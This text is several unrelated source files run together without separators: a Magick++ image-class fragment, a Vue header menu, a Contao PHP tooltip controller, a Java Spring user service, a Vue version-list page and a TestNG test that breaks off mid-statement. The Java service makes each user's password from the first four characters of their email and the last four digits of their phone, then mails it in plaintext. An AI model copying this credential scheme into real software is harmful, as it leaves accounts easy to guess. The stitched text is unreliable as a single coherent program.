GetImageKurtosis( image(),&statistics->green.kurtosis, &statistics->green.skewness,&exceptionInfo); SetPixelChannelMask( image(), channel_mask ); channel_mask = SetImageChannelMask( image(), GreenChannel); (void) GetImageRange( image(),&minimum,&maximum,&exceptionInfo); statistics->blue.minimum=minimum; statistics->blue.maximum=maximum; (void) GetImageMean( image(),&statistics->blue.mean, &statistics->blue.standard_deviation,&exceptionInfo); (void) GetImageKurtosis( image(),&statistics->blue.kurtosis, &statistics->blue.skewness,&exceptionInfo); SetPixelChannelMask( image(), channel_mask ); channel_mask = SetImageChannelMask( image(), AlphaChannel); (void) GetImageRange( image(),&minimum,&maximum,&exceptionInfo); statistics->alpha.minimum=minimum; statistics->alpha.maximum=maximum; (void) GetImageMean( image(),&statistics->alpha.mean, &statistics->alpha.standard_deviation,&exceptionInfo); (void) GetImageKurtosis( image(),&statistics->alpha.kurtosis, &statistics->alpha.skewness,&exceptionInfo); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Strip strips an image of all profiles and comments. void Magick::Image::strip ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); StripImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // enabled/disable stroke anti-aliasing void Magick::Image::strokeAntiAlias ( const bool flag_ ) { modifyImage(); options()->strokeAntiAlias(flag_); } bool Magick::Image::strokeAntiAlias ( void ) const { return constOptions()->strokeAntiAlias(); } // Color to use when drawing object outlines void Magick::Image::strokeColor ( const Magick::Color &strokeColor_ ) { modifyImage(); options()->strokeColor(strokeColor_); } Magick::Color Magick::Image::strokeColor ( void ) const { return constOptions()->strokeColor(); } // dash pattern for drawing vector objects (default one) void Magick::Image::strokeDashArray ( const double* strokeDashArray_ ) { modifyImage(); options()->strokeDashArray( strokeDashArray_ ); } const double* Magick::Image::strokeDashArray ( void ) const { return constOptions()->strokeDashArray( ); } // dash offset for drawing vector objects (default one) void Magick::Image::strokeDashOffset ( const double strokeDashOffset_ ) { modifyImage(); options()->strokeDashOffset( strokeDashOffset_ ); } double Magick::Image::strokeDashOffset ( void ) const { return constOptions()->strokeDashOffset( ); } // Specify the shape to be used at the end of open subpaths when they // are stroked. Values of LineCap are UndefinedCap, ButtCap, RoundCap, // and SquareCap. void Magick::Image::strokeLineCap ( const Magick::LineCap lineCap_ ) { modifyImage(); options()->strokeLineCap( lineCap_ ); } Magick::LineCap Magick::Image::strokeLineCap ( void ) const { return constOptions()->strokeLineCap( ); } // Specify the shape to be used at the corners of paths (or other // vector shapes) when they are stroked. Values of LineJoin are // UndefinedJoin, MiterJoin, RoundJoin, and BevelJoin. void Magick::Image::strokeLineJoin ( const Magick::LineJoin lineJoin_ ) { modifyImage(); options()->strokeLineJoin( lineJoin_ ); } Magick::LineJoin Magick::Image::strokeLineJoin ( void ) const { return constOptions()->strokeLineJoin( ); } // Specify miter limit. When two line segments meet at a sharp angle // and miter joins have been specified for 'lineJoin', it is possible // for the miter to extend far beyond the thickness of the line // stroking the path. The miterLimit' imposes a limit on the ratio of // the miter length to the 'lineWidth'. The default value of this // parameter is 4. void Magick::Image::strokeMiterLimit ( const size_t strokeMiterLimit_ ) { modifyImage(); options()->strokeMiterLimit( strokeMiterLimit_ ); } size_t Magick::Image::strokeMiterLimit ( void ) const { return constOptions()->strokeMiterLimit( ); } // Pattern to use while stroking drawn objects. void Magick::Image::strokePattern ( const Image &strokePattern_ ) { modifyImage(); if(strokePattern_.isValid()) options()->strokePattern( strokePattern_.constImage() ); else options()->strokePattern( static_cast<MagickCore::Image*>(NULL) ); } Magick::Image Magick::Image::strokePattern ( void ) const { // FIXME: This is inordinately innefficient Image texture; const MagickCore::Image* tmpTexture = constOptions()->strokePattern( ); if ( tmpTexture ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = CloneImage( tmpTexture, 0, // columns 0, // rows MagickTrue, // orphan &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); texture.replaceImage( image ); } return texture; } // Stroke width for drawing lines, circles, ellipses, etc. void Magick::Image::strokeWidth ( const double strokeWidth_ ) { modifyImage(); options()->strokeWidth( strokeWidth_ ); } double Magick::Image::strokeWidth ( void ) const { return constOptions()->strokeWidth( ); } void Magick::Image::subImage ( const size_t subImage_ ) { modifyImage(); options()->subImage( subImage_ ); } size_t Magick::Image::subImage ( void ) const { return constOptions()->subImage( ); } void Magick::Image::subRange ( const size_t subRange_ ) { modifyImage(); options()->subRange( subRange_ ); } size_t Magick::Image::subRange ( void ) const { return constOptions()->subRange( ); } // Annotation text encoding (e.g. "UTF-16") void Magick::Image::textEncoding ( const std::string &encoding_ ) { modifyImage(); options()->textEncoding( encoding_ ); } std::string Magick::Image::textEncoding ( void ) const { return constOptions()->textEncoding( ); } size_t Magick::Image::totalColors ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); size_t colors = GetNumberColors( image(), 0, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return colors; } // Origin of coordinate system to use when annotating with text or drawing void Magick::Image::transformOrigin ( const double x_, const double y_ ) { modifyImage(); options()->transformOrigin( x_, y_ ); } // Rotation to use when annotating with text or drawing void Magick::Image::transformRotation ( const double angle_ ) { modifyImage(); options()->transformRotation( angle_ ); } // Reset transformation parameters to default void Magick::Image::transformReset ( void ) { modifyImage(); options()->transformReset(); } // Scale to use when annotating with text or drawing void Magick::Image::transformScale ( const double sx_, const double sy_ ) { modifyImage(); options()->transformScale( sx_, sy_ ); } // Skew to use in X axis when annotating with text or drawing void Magick::Image::transformSkewX ( const double skewx_ ) { modifyImage(); options()->transformSkewX( skewx_ ); } // Skew to use in Y axis when annotating with text or drawing void Magick::Image::transformSkewY ( const double skewy_ ) { modifyImage(); options()->transformSkewY( skewy_ ); } // Image representation type Magick::ImageType Magick::Image::type ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ImageType image_type = constOptions()->type(); if ( image_type == UndefinedType ) image_type= GetImageType( constImage(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return image_type; } void Magick::Image::type ( const Magick::ImageType type_) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); options()->type( type_ ); SetImageType( image(), type_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::verbose ( const bool verboseFlag_ ) { modifyImage(); options()->verbose( verboseFlag_ ); } bool Magick::Image::verbose ( void ) const { return constOptions()->verbose( ); } void Magick::Image::view ( const std::string &view_ ) { modifyImage(); options()->view( view_ ); } std::string Magick::Image::view ( void ) const { return constOptions()->view( ); } // Virtual pixel method void Magick::Image::virtualPixelMethod ( const VirtualPixelMethod virtual_pixel_method_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageVirtualPixelMethod( image(), virtual_pixel_method_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } Magick::VirtualPixelMethod Magick::Image::virtualPixelMethod ( void ) const { return GetImageVirtualPixelMethod( constImage() ); } void Magick::Image::x11Display ( const std::string &display_ ) { modifyImage(); options()->x11Display( display_ ); } std::string Magick::Image::x11Display ( void ) const { return constOptions()->x11Display( ); } double Magick::Image::xResolution ( void ) const { return constImage()->resolution.x; } double Magick::Image::yResolution ( void ) const { return constImage()->resolution.y; } // Copy Constructor Magick::Image::Image( const Image & image_ ) : _imgRef(image_._imgRef) { Lock( &_imgRef->_mutexLock ); // Increase reference count ++_imgRef->_refCount; } // Assignment operator Magick::Image& Magick::Image::operator=( const Magick::Image &image_ ) { if( this != &image_ ) { { Lock( &image_._imgRef->_mutexLock ); ++image_._imgRef->_refCount; } bool doDelete = false; { Lock( &_imgRef->_mutexLock ); if ( --_imgRef->_refCount == 0 ) doDelete = true; } if ( doDelete ) { // Delete old image reference with associated image and options. delete _imgRef; _imgRef = 0; } // Use new image reference _imgRef = image_._imgRef; } return *this; } // // Low-level Pixel Access Routines // // Also see the Pixels class, which provides support for multiple // cache views. The low-level pixel access routines in the Image // class are provided in order to support backward compatability. // // Transfers read-only pixels from the image to the pixel cache as // defined by the specified region const Magick::Quantum* Magick::Image::getConstPixels ( const ssize_t x_, const ssize_t y_, const size_t columns_, const size_t rows_ ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); const Quantum* p = (*GetVirtualPixels)( constImage(), x_, y_, columns_, rows_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return p; } // Obtain read-only pixel associated pixels channels const void* Magick::Image::getConstMetacontent ( void ) const { const void* result = GetVirtualMetacontent( constImage() ); if( !result ) throwImageException(); return result; } // Obtain image pixel associated pixels channels void* Magick::Image::getMetacontent ( void ) { void* result = GetAuthenticMetacontent( image() ); if( !result ) throwImageException(); return ( result ); } // Transfers pixels from the image to the pixel cache as defined // by the specified region. Modified pixels may be subsequently // transferred back to the image via syncPixels. Magick::Quantum* Magick::Image::getPixels ( const ssize_t x_, const ssize_t y_, const size_t columns_, const size_t rows_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); Quantum* result = (*GetAuthenticPixels)( image(), x_, y_, columns_, rows_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return result; } // Allocates a pixel cache region to store image pixels as defined // by the region rectangle. This area is subsequently transferred // from the pixel cache to the image via syncPixels. Magick::Quantum* Magick::Image::setPixels ( const ssize_t x_, const ssize_t y_, const size_t columns_, const size_t rows_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); Quantum* result = (*QueueAuthenticPixels)( image(), x_, y_, columns_, rows_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return result; } // Transfers the image cache pixels to the image. void Magick::Image::syncPixels ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (*SyncAuthenticPixels)( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Transfers one or more pixel components from a buffer or file // into the image pixel cache of an image. // Used to support image decoders. void Magick::Image::readPixels ( const Magick::QuantumType quantum_, const unsigned char *source_ ) { QuantumInfo *quantum_info; quantum_info=AcquireQuantumInfo(imageInfo(),image()); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ImportQuantumPixels(image(),(MagickCore::CacheView *) NULL,quantum_info, quantum_,source_, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); quantum_info=DestroyQuantumInfo(quantum_info); } // Transfers one or more pixel components from the image pixel // cache to a buffer or file. // Used to support image encoders. void Magick::Image::writePixels ( const Magick::QuantumType quantum_, unsigned char *destination_ ) { QuantumInfo *quantum_info; quantum_info=AcquireQuantumInfo(imageInfo(),image()); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ExportQuantumPixels(image(),(MagickCore::CacheView *) NULL,quantum_info, quantum_,destination_, &exceptionInfo); quantum_info=DestroyQuantumInfo(quantum_info); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // // No end-user methods beyond this point // // // Construct using existing image and default options // Magick::Image::Image ( MagickCore::Image* image_ ) : _imgRef(new ImageRef( image_)) { } // Get Magick::Options* Magick::Options* Magick::Image::options( void ) { return _imgRef->options(); } const Magick::Options* Magick::Image::constOptions( void ) const { return _imgRef->options(); } // Get MagickCore::Image* MagickCore::Image*& Magick::Image::image( void ) { return _imgRef->image(); } const MagickCore::Image* Magick::Image::constImage( void ) const { return _imgRef->image(); } // Get ImageInfo * MagickCore::ImageInfo* Magick::Image::imageInfo( void ) { return _imgRef->options()->imageInfo(); } const MagickCore::ImageInfo * Magick::Image::constImageInfo( void ) const { return _imgRef->options()->imageInfo(); } // Get QuantizeInfo * MagickCore::QuantizeInfo* Magick::Image::quantizeInfo( void ) { return _imgRef->options()->quantizeInfo(); } const MagickCore::QuantizeInfo * Magick::Image::constQuantizeInfo( void ) const { return _imgRef->options()->quantizeInfo(); } // // Replace current image // MagickCore::Image * Magick::Image::replaceImage ( MagickCore::Image* replacement_ ) { MagickCore::Image* image; if( replacement_ ) image = replacement_; else { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); image = AcquireImage(constImageInfo(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } { Lock( &_imgRef->_mutexLock ); if ( _imgRef->_refCount == 1 ) { // We own the image, just replace it, and de-register _imgRef->id( -1 ); _imgRef->image(image); } else { // We don't own the image, dereference and replace with copy --_imgRef->_refCount; _imgRef = new ImageRef( image, constOptions() ); } } return _imgRef->_image; } // // Prepare to modify image or image options // Replace current image and options with copy if reference count > 1 // void Magick::Image::modifyImage( void ) { { Lock( &_imgRef->_mutexLock ); if ( _imgRef->_refCount == 1 ) { // De-register image and return _imgRef->id( -1 ); return; } } ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); replaceImage( CloneImage( image(), 0, // columns 0, // rows MagickTrue, // orphan &exceptionInfo) ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return; } // // Test for an ImageMagick reported error and throw exception if one // has been reported. Secretly resets image->exception back to default // state even though this method is const. // void Magick::Image::throwImageException( void ) const { // Throw C++ exception while resetting Image exception to default state } // Register image with image registry or obtain registration id ssize_t Magick::Image::registerId( void ) { Lock( &_imgRef->_mutexLock ); if( _imgRef->id() < 0 ) { char id[MaxTextExtent]; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); _imgRef->id(_imgRef->id()+1); sprintf(id,"%.20g\n",(double) _imgRef->id()); SetImageRegistry(ImageRegistryType, id, image(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } return _imgRef->id(); } // Unregister image from image registry void Magick::Image::unregisterId( void ) { modifyImage(); _imgRef->id( -1 ); } // // Create a local wrapper around MagickCoreTerminus // namespace Magick { extern "C" { void MagickPlusPlusDestroyMagick(void); } } void Magick::MagickPlusPlusDestroyMagick(void) { if (magick_initialized) { magick_initialized=false; MagickCore::MagickCoreTerminus(); } } // C library initialization routine void MagickPPExport Magick::InitializeMagick(const char *path_) { MagickCore::MagickCoreGenesis(path_,MagickFalse); if (!magick_initialized) magick_initialized=true; } // // Cleanup class to ensure that ImageMagick singletons are destroyed // so as to avoid any resemblence to a memory leak (which seems to // confuse users) // namespace Magick { class MagickCleanUp { public: MagickCleanUp( void ); ~MagickCleanUp( void ); }; // The destructor for this object is invoked when the destructors for // static objects in this translation unit are invoked. static MagickCleanUp magickCleanUpGuard; } Magick::MagickCleanUp::MagickCleanUp ( void ) { // Don't even think about invoking InitializeMagick here! } Magick::MagickCleanUp::~MagickCleanUp ( void ) { MagickPlusPlusDestroyMagick(); }
<template> <div :class="layoutCls"> <t-head-menu :class="menuCls" :theme="theme" expand-type="popup" :value="active"> <template #logo> <span v-if="showLogo" class="header-logo-container" @click="handleNav('/dashboard/base')"> <tLogoFull class="t-logo" /> </span> <div v-else class="header-operate-left"> <t-button theme="default" shape="square" variant="text" @click="changeCollapsed"> <t-icon class="collapsed-icon" name="view-list" /> </t-button> </div> </template> <menu-content v-show="layout !== 'side'" class="header-menu" :nav-data="menu" /> <template #operations> <div class="operations-container"> <t-dropdown :min-column-width="135" trigger="click"> <template #dropdown> <t-dropdown-menu> <t-dropdown-item class="operations-dropdown-container-item" @click="handleLogout"> <t-icon name="poweroff"></t-icon>退出登录 </t-dropdown-item> </t-dropdown-menu> </template> <t-button class="header-user-btn" theme="default" variant="text"> <template #icon> <t-icon class="header-user-avatar" name="user-circle" /> </template> <div class="header-user-account"> Vitue <t-icon name="chevron-down" /> </div> </t-button> </t-dropdown> </div> </template> </t-head-menu> </div> </template> <script lang="ts"> import { defineComponent, PropType, computed, ref } from 'vue'; import { useStore } from 'vuex'; import { useRouter, useRoute } from 'vue-router'; import { prefix } from '@/config/global'; import tLogoFull from '@/assets/assets-logo-full.svg?component'; import { MenuRoute } from '@/interface'; import MenuContent from './MenuContent'; export default defineComponent({ components: { tLogoFull, MenuContent, }, props: { theme: { type: String as PropType<string>, default: '', }, layout: { type: String as PropType<string>, default: 'top', }, showLogo: { type: Boolean as PropType<boolean>, default: true, }, menu: { type: Array as PropType<MenuRoute[]>, default: () => [], }, isFixed: { type: Boolean as PropType<boolean>, default: false, }, isCompact: { type: Boolean as PropType<boolean>, default: false, }, maxLevel: { type: Number as PropType<number>, default: 3, }, }, setup(props) { const store = useStore(); const router = useRouter(); const active = computed(() => { const route = useRoute(); if (!route.path) { return ''; } return route.path .split('/') .filter((item, index) => index <= props.maxLevel && index > 0) .map((item) => `/${item}`) .join(''); }); const showMenu = computed(() => !(props.layout === 'mix' && props.showLogo)); const layoutCls = computed(() => [`${prefix}-header-layout`]); const menuCls = computed(() => { const { isFixed, layout, isCompact } = props; return [ { [`${prefix}-header-menu`]: !isFixed, [`${prefix}-header-menu-fixed`]: isFixed, [`${prefix}-header-menu-fixed-side`]: layout === 'side' && isFixed, [`${prefix}-header-menu-fixed-side-compact`]: layout === 'side' && isFixed && isCompact, }, ]; }); const userVisible = ref(false); const userVisibleChange = (value: boolean) => { userVisible.value = value; }; const changeCollapsed = () => { store.commit('setting/toggleSidebarCompact'); }; const isSidebarCompact = computed(() => store.state.setting.isSidebarCompact); const handleNav = (url) => { router.push(url); }; const handleLogout = () => { router.push(`/login?redirect=${router.currentRoute.value.fullPath}`); }; return { isSidebarCompact, active, showMenu, layoutCls, userVisible, userVisibleChange, menuCls, changeCollapsed, handleNav, handleLogout, }; }, }); </script> <style lang="less"> @import '@/style/variables.less'; .@{prefix}-header { &-layout { height: 64px; } &-menu-fixed { position: fixed; top: 0; z-index: 10; &-side { left: 232px; right: 0; z-index: 10; width: auto; transition: all 0.3s; &-compact { left: 64px; } } } &-logo-container { cursor: pointer; display: inline-flex; height: 64px; } } .header-menu { flex: 1 1 1; display: inline-flex; } .operations-container { display: flex; align-items: center; margin-right: 12px; .t-popup__reference { display: flex; align-items: center; justify-content: center; } .t-button { margin: 0 8px; &.header-user-btn { margin: 0; } } .t-icon { font-size: 20px; &.general { margin-right: 16px; } } } .header-operate-left { display: flex; align-items: normal; line-height: 0; .collapsed-icon { font-size: 20px; } } .header-logo-container { width: 184px; height: 26px; display: flex; margin-left: 24px; color: @text-color-primary; .t-logo { width: 100%; height: 100%; &:hover { cursor: pointer; } } &:hover { cursor: pointer; } } .header-user-account { display: inline-flex; align-items: center; color: @text-color-primary; .t-icon { margin-left: 4px; font-size: 16px; } } .t-head-menu__inner { border-bottom: 1px solid @border-level-1-color; } .t-menu--light { .header-user-account { color: @text-color-primary; } } .t-menu--dark { .t-head-menu__inner { border-bottom: 1px solid var(--td-gray-color-10); } .header-user-account { color: rgba(255, 255, 255, 0.55); } .t-button { --ripple-color: var(--td-gray-color-10) !important; &:hover { background: var(--td-gray-color-12) !important; } } } .operations-dropdown-container-item { width: 100%; display: flex; align-items: center; .t-icon { margin-right: 8px; } .t-dropdown__item { .t-dropdown__item__content { display: flex; justify-content: center; } .t-dropdown__item__content__text { display: flex; align-items: center; font-size: 14px; } } .t-dropdown__item { width: 100%; margin-bottom: 0px; } &:last-child { .t-dropdown__item { margin-bottom: 8px; } } } </style>
<?php declare(strict_types=1); /** * Plenta Tooltip Bundle for Contao Open Source CMS * * @copyright Copyright (c) 2023, Plenta.io * @author Plenta.io <https://plenta.io> * @license LGPL * @link https://github.com/plenta/ */ namespace Plenta\TooltipBundle\Controller; use Contao\Controller; use Contao\StringUtil; use Plenta\TooltipBundle\Models\TooltipModel; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\Routing\Annotation\Route; use Symfony\Contracts\Translation\TranslatorInterface; /** * @Route("_plenta") */ class AjaxController extends AbstractController { /** * @Route("/tooltip/{id}") * * @param mixed $id */ public function getTooltip($id, TranslatorInterface $translator, array $plentaTooltipSizes): JsonResponse { $tooltip = TooltipModel::findByIdOrAlias($id); $buffer = ''; foreach ($tooltip->getContentElements() as $contentElement) { $buffer .= Controller::getContentElement($contentElement->id); } $classes = explode(' ', $tooltip->cssClass); $classes = array_filter($classes); if ($tooltip->size && ($size = $plentaTooltipSizes[$tooltip->size] ?? null)) { $sizeClasses = explode(' ', ($size['cssClass'] ?? '')); $classes = array_merge($classes, $sizeClasses); } return new JsonResponse([ 'buffer' => '<!-- indexer::stop -->'.$buffer.'<!-- indexer::continue -->', 'buttonText' => $translator->trans( 'MSC.close', [], 'contao_default' ), 'classes' => $classes, ]); } }
package com.tyss.alphaattendanceapp.service; import java.util.List; import java.util.Optional; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.stereotype.Service; import com.tyss.alphaattendanceapp.dao.UserDao; import com.tyss.alphaattendanceapp.dto.User; import com.tyss.alphaattendanceapp.exceptionclasses.DuplicateEmailException; import com.tyss.alphaattendanceapp.exceptionclasses.DuplicatePhoneNumberException; import com.tyss.alphaattendanceapp.exceptionclasses.IdNotFoundException; import com.tyss.alphaattendanceapp.exceptionclasses.InvalidEmailException; import com.tyss.alphaattendanceapp.exceptionclasses.InvalidPhoneNumberException; import com.tyss.alphaattendanceapp.exceptionclasses.NoUserFoundException; import com.tyss.alphaattendanceapp.responsestructure.ResponseStructure; @Service public class UserService { @Autowired private JavaMailSender javaMailSender; @Autowired private UserDao userDao; public void sendEmail(String toEmail, String subject, String body) { SimpleMailMessage simpleMailMessage = new SimpleMailMessage(); simpleMailMessage.setFrom("swiftshoppapp@gmail.com"); simpleMailMessage.setTo(toEmail); simpleMailMessage.setSubject(subject); simpleMailMessage.setText(body); System.out.println("Sending Mail..."); javaMailSender.send(simpleMailMessage); System.out.println("Mail Sent Successfully..."); } public ResponseEntity<ResponseStructure<User>> saveUser(User user) { if (!Pattern.compile("[6-9]{1}[0-9]{9}").matcher("" + user.getPhone()).matches()) throw new InvalidPhoneNumberException(); // if (Pattern.compile("[a-z,A-Z]{1,}[0-9]{0,}[a-z,A-Z]{0,}@gmail[.]com").matcher(user.getEmail()).matches()) // throw new InvalidEmailException(); if (userDao.findUserByPhoneNumber(user.getPhone()) != null) throw new DuplicatePhoneNumberException(); if (userDao.findUserByEmail(user.getEmail()) != null) throw new DuplicateEmailException(); user.setPassword(user.getEmail().substring(0, 4) + (user.getPhone() + "").substring(6, 10)); user = userDao.saveUser(user); ResponseStructure<User> structure = new ResponseStructure<>(); structure.setBody(user); structure.setMessage("User Saved Successfully..."); structure.setStatusCode(HttpStatus.OK.value()); sendEmail(user.getEmail(), "Alpha-Attendence Account Created!!!...", "Congrats Mr." + user.getName() + " Your Alpha-Attendence Account Created Successfully... Your Username is your registerd Email and password is first four (4) charecters of your registerd email and last four digits of your registerd Phone Number... ( Username : "+user.getEmail()+" & Password : "+user.getPassword()+" ) Regards Team Aplha!!!..."); return new ResponseEntity<>(structure, HttpStatus.OK); } public ResponseEntity<ResponseStructure<User>> updateUser(User user) { if (user.getId() == 0) throw new IdNotFoundException(); user = userDao.updateUser(user); ResponseStructure<User> structure = new ResponseStructure<>(); structure.setBody(user); structure.setMessage("User Updated Successfully..."); structure.setStatusCode(HttpStatus.OK.value()); return new ResponseEntity<>(structure, HttpStatus.OK); } public ResponseEntity<ResponseStructure<User>> findUserById(int id) { Optional<User> optional = userDao.findUserById(id); if (optional.isEmpty()) throw new IdNotFoundException(); User user = optional.get(); ResponseStructure<User> structure = new ResponseStructure<>(); structure.setBody(user); structure.setMessage("User Found Successfully..."); structure.setStatusCode(HttpStatus.OK.value()); return new ResponseEntity<>(structure, HttpStatus.OK); } public ResponseEntity<ResponseStructure<String>> deleteUserById(int id) { Optional<User> optional = userDao.findUserById(id); if (optional.isEmpty()) throw new IdNotFoundException(); userDao.deleteUserById(id); ResponseStructure<String> structure = new ResponseStructure<>(); structure.setBody("User Delete Successfully..."); structure.setMessage("User Delete From Database for the Provided ID Successfully..."); structure.setStatusCode(HttpStatus.OK.value()); return new ResponseEntity<>(structure, HttpStatus.OK); } public ResponseEntity<ResponseStructure<List<User>>> findAllUsers() { List<User> users = userDao.findAllUsers(); if (users.isEmpty()) throw new NoUserFoundException(); ResponseStructure<List<User>> structure = new ResponseStructure<>(); structure.setBody(users); structure.setMessage("Database Is Empty, No Users Are Their in Database..."); structure.setStatusCode(HttpStatus.OK.value()); return new ResponseEntity<>(structure, HttpStatus.OK); } }
<template> <a-card :bordered="false"> <a-row> <a-col :span="21"> <a-form layout="inline" > <a-row :gutter="24"> <a-col :span="24"> <a-form-item label="客户端"> <a-select :value="queryParam.clientId" placeholder="请选择客户端" style="width: 170px" @change="(val) => $set(queryParam, 'clientId', val)" > <a-select-option v-for="client in clientList" :key="client.id" :value="client.id" > {{ client.name }} </a-select-option> </a-select> </a-form-item> <span class="table-page-search-submitButtons"> <a-button type="primary" @click="searchQuery" icon="search">查询</a-button> <a-button type="primary" @click="searchReset" icon="reload" style="margin-left: 8px">刷新</a-button> </span> </a-col> </a-row> </a-form> <div style="margin: 20px 0; display: flex; justify-content: space-between"> <span>版本列表</span> <a-button type="primary" @click="handleAdd('新增')" icon="plus" > 新增 </a-button> </div> <div> <a-table ref="table" size="middle" :scroll="{ x: true, y: 800 }" bordered rowKey="id" :columns="columns" :dataSource="dataSource" :pagination="ipagination" :loading="loading" :rowSelection="{ selectedRowKeys: selectedRowKeys, onChange: onSelectChange }" @change="handleTableChange" > <template slot="action" slot-scope="text, record" > <span> <a @click="handleUpdate(record)">编辑</a> <a-divider type="vertical" /> <a-popconfirm title="确定删除吗?" @confirm="() => handleDelete(record.id)" > <a>删除</a> </a-popconfirm> </span> </template> </a-table> </div> </a-col> </a-row> <app-client-version-modal ref="modalForm" @ok="searchQuery" /> </a-card> </template> <script> import { getAction } from '@/api/manage' import '@/assets/less/TableExpand.less' import { mixinDevice } from '@/utils/mixin' import { JeecgListMixin } from '@/mixins/JeecgListMixin' import AppClientVersionModal from './modules/AppClientVersionModal' export default { name: 'AppClientVersionList', mixins: [JeecgListMixin, mixinDevice], components: { AppClientVersionModal, }, data() { return { description: '客户端版本管理', // 表头 columns: [ { title: '序号', dataIndex: '', key: 'rowIndex', width: 60, align: 'center', customRender: function (t, r, index) { return parseInt(index) + 1 }, }, { title: '客户端', width: 120, align: 'left', dataIndex: 'clientName', }, { title: '版本', width: 80, align: 'center', dataIndex: 'version', }, { title: '状态', width: 60, align: 'center', dataIndex: 'activeTime', }, { title: '创建时间', width: 200, align: 'center', dataIndex: 'createTime', }, { title: '更新信息', width: 260, align: 'left', dataIndex: 'note', }, { title: '操作', dataIndex: 'action', align: 'center', width: 150, scopedSlots: { customRender: 'action' }, }, ], url: { list: '/appClient/version/list', delete: '/appClient/version/delete', clientList: '/appClient/version/clientList', }, superFieldList: [], disableMixinCreated: true, clientList: [], loading:false, temp: 0, } }, provide() { return { globalData:this.clientList } }, created() { // this.getSuperFieldList() this.loadClientList() this.searchQuery() }, methods: { /** * @description 获取客户端类型列表 */ loadClientList() { getAction(this.url.clientList, {pageNo:1,pageSize:50}) .then((res) => { if (res.success) { this.clientList = res.result.records // this.treeData = res.result.records } else { this.$message.warning(res.message) } }) .finally(() => { this.loading = false }) }, handleAdd(title) { this.$refs.modalForm.title = title this.$refs.modalForm.edit({},this.clientList) }, handleUpdate(record) { console.log(record) this.$refs.modalForm.title = '修改' this.$refs.modalForm.edit(record,this.clientList) }, getSuperFieldList() { let fieldList = [] fieldList.push({ type: 'int', value: 'code', text: '序号', dictCode: '' }) fieldList.push({ type: 'string', value: 'clientName', text: '客户端', dictCode: '' }) fieldList.push({ type: 'string', value: 'version', text: '版本', dictCode: '' }) fieldList.push({ type: 'string', value: 'activeName', text: '状态', dictCode: '' }) fieldList.push({ type: 'string', value: 'createTime', text: '创建时间', dictCode: '' }) fieldList.push({ type: 'string', value: 'note', text: '更新说明', dictCode: '' }) this.superFieldList = fieldList }, }, } </script> <style lang='less' scoped> @import '~@assets/less/common.less'; /* 单行文本溢出 */ ::v-deep.ant-tree-node-content-wrapper { overflow: hidden; text-overflow: ellipsis; lines: 1; white-space: nowrap; word-break: break-all; width: 140px; } </style>
package PharmacyProject.co.za.services; import PharmacyProject.co.za.domains.Condition; import PharmacyProject.co.za.domains.Patient; import PharmacyProject.co.za.domains.PatientCondition; import PharmacyProject.co.za.factories.PatientConditionFactory; import PharmacyProject.co.za.services.ImplServi.PatientConditionServiceImpl; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import java.util.Date; import java.util.HashMap; import java.util.Map; import static org.testng.Assert.assertEquals; import static org.testng.Assert.assertNull; /** * Created by aubrey on 08/08/2017. */ public class PatientConditionServiceTest { Map<Date,Date> value; PatientConditionService service; Date today = new Date(); Condition condition; Patient patient; PatientCondition patientCondition; Patient patientObject; @BeforeMethod public void setUp() throws Exception { service = new PatientConditionServiceImpl(); patient = new Patient.Builder() .patientId("ABLW9828") .patientName("Aubrey") .medicalaidName("Bonitas") .medicalaidNumber("BNT93872") .build(); condition = new Condition.Builder() .conditionId("BFL933827") .conditionName("BirdFlue") .build(); patientCondition = new 